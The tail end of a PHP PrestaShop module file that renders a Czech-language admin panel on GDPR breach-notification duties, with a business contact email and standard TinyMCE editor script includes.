                                <li>- ohlášení příslušnému dozorovému úřadu (<a style="text-decoration:underline" href="https://www.uoou.cz">www.uoou.cz</a>) bez zbytečného odkladu a pokud možno do 72 hodin od okamžiku, kdy se správce dozví o porušení zabezpečení osobních údajů a je pravděpodobné, že hrozí riziko pro práva a svobody fyzických osob, jejichž osobní údaje správce uchovává. Pokud není ohlášení dozorovému úřadu učiněno do 72 hodin, musí být současně s ním uvedeny důvody tohoto zpoždění.</li>
                        </ul>
                        <p>Více na: <a style="text-decoration:underline" href="https://www.gdpr.cz">www.gdpr.cz</a>.</p>
                        <p>Ohledně individuálních úprav GDPR na Vašem e-shopu nás kontaktujte na e-mailu <a style="text-decoration:underline" href="mailto:info@broucek-a-beruska.cz">info@broucek-a-beruska.cz</a>.</p>
                </fieldset>

                <script type="text/javascript">
			var iso = \''.$isoTinyMCE.'\' ;
			var pathCSS = \''._THEME_CSS_DIR_.'\' ;
			var ad = \''.$ad.'\' ;
                        id_language = Number('.$defaultLanguage.');
		</script>
		<script type="text/javascript" src="'.__PS_BASE_URI__.'js/tiny_mce/tiny_mce.js"></script>
		<script type="text/javascript" src="'.__PS_BASE_URI__.'js/tinymce.inc.js"></script>';

                return $this->_html;
        }
}

?>